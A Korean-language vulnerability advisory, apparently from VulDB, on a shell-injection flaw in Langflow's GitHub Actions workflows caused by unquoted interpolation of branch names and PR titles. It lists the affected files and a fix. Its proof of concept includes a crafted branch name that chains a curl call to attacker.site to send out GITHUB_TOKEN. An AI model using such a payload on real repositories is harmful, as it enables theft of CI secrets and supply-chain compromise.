CVE-2026-33475 in langflow
요약
\~에 의해 VulDB • 2026. 05. 10.
Langflow는 AI 기반 에이전트와 워크플로우를 구축하고 배포하기 위한 도구입니다. 버전 1.9.0 미만의 Langflow 저장소에는 여러 GitHub Actions 워크플로우에서 인증 없이 원격에서 실행 가능한 셸 인젝션 취약점이 존재합니다. `run:` 단계에서 GitHub 컨텍스트 변수(예: `${{ github.head_ref }}`)의 비검증 보간(interpolation)을 통해 공격자는 악성 브랜치 이름이나 풀 리퀘스트 제목을 사용하여 임의의 셸 명령어를 주입하고 실행할 수 있습니다. 이로 인해 CI/CD 실행 중 `GITHUB_TOKEN`과 같은 비밀 정보 유출, 인프라 조작 또는 공급망 침해가 발생할 수 있습니다. 버전 1.9.0에서 이 취약점에 대한 패치가 제공됩니다.
---
### 상세 정보
`.github/workflows/` 및 `.github/actions/` 디렉토리의 여러 워크플로우는 다음과 같이 `run:` 셸 명령어 내에서 GitHub 컨텍스트 변수를 직접 참조합니다:
```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
또는:
```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps
```
`github.head_ref`, `github.event.pull_request.title` 및 사용자 정의 `inputs.*`는 **사용자가 제어할 수 있는 값**을 포함할 수 있으므로 **신뢰할 수 없는 입력(untrusted input)**으로 처리해야 합니다. 적절한 따옴표 처리나 검증 없이 직접 보간하면 셸 명령어 인젝션이 발생합니다.
---
### Proof of Concept (PoC)
1. Langflow 저장소를 **Fork**합니다. 2. 다음 이름으로 **새 브랜치를 생성**합니다: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. 새 브랜치에서 main 브랜치로 **Pull Request를 엽니다**. 4. GitHub Actions가 영향을 받는 워크플로우(예: `deploy-docs-draft.yml`)를 실행합니다. 5. 다음 내용을 포함하는 `run:` 단계가: ```yaml echo "Branch: ${{ github.head_ref }}"
``` 다음과 같이 실행됩니다: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ```
6. 공격자는 유출 URL을 통해 CI 비밀 정보를 받습니다.
---
### 영향
- **유형:** CI 환경에서의 셸 인젝션 / 원격 코드 실행(RCE) - **범위:** GitHub Actions가 활성화된 모든 공개 Langflow Fork - **영향:** CI 비밀 정보(예: `GITHUB_TOKEN`)에 대한 전체 접근 권한 획득, 악성 태그나 이미지 푸시 가능, 릴리스 변조 또는 민감한 인프라 데이터 유출
---
### 권장 수정 사항
영향을 받는 워크플로우를 **환경 변수 사용**으로 리팩토링하고, 이를 **더블 쿼트**로 감싸십시오:
```yaml env: BRANCH_NAME: ${{ github.head_ref }}
run: | echo "Branch is: \"$BRANCH_NAME\"" ```
사용자가 제어할 수 있는 값에 대해 `run:` 내부에서 직접 `${{ ... }}` 보간을 피하십시오.
---
### 영향 받는 파일 (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Once again VulDB remains the best source for vulnerability data.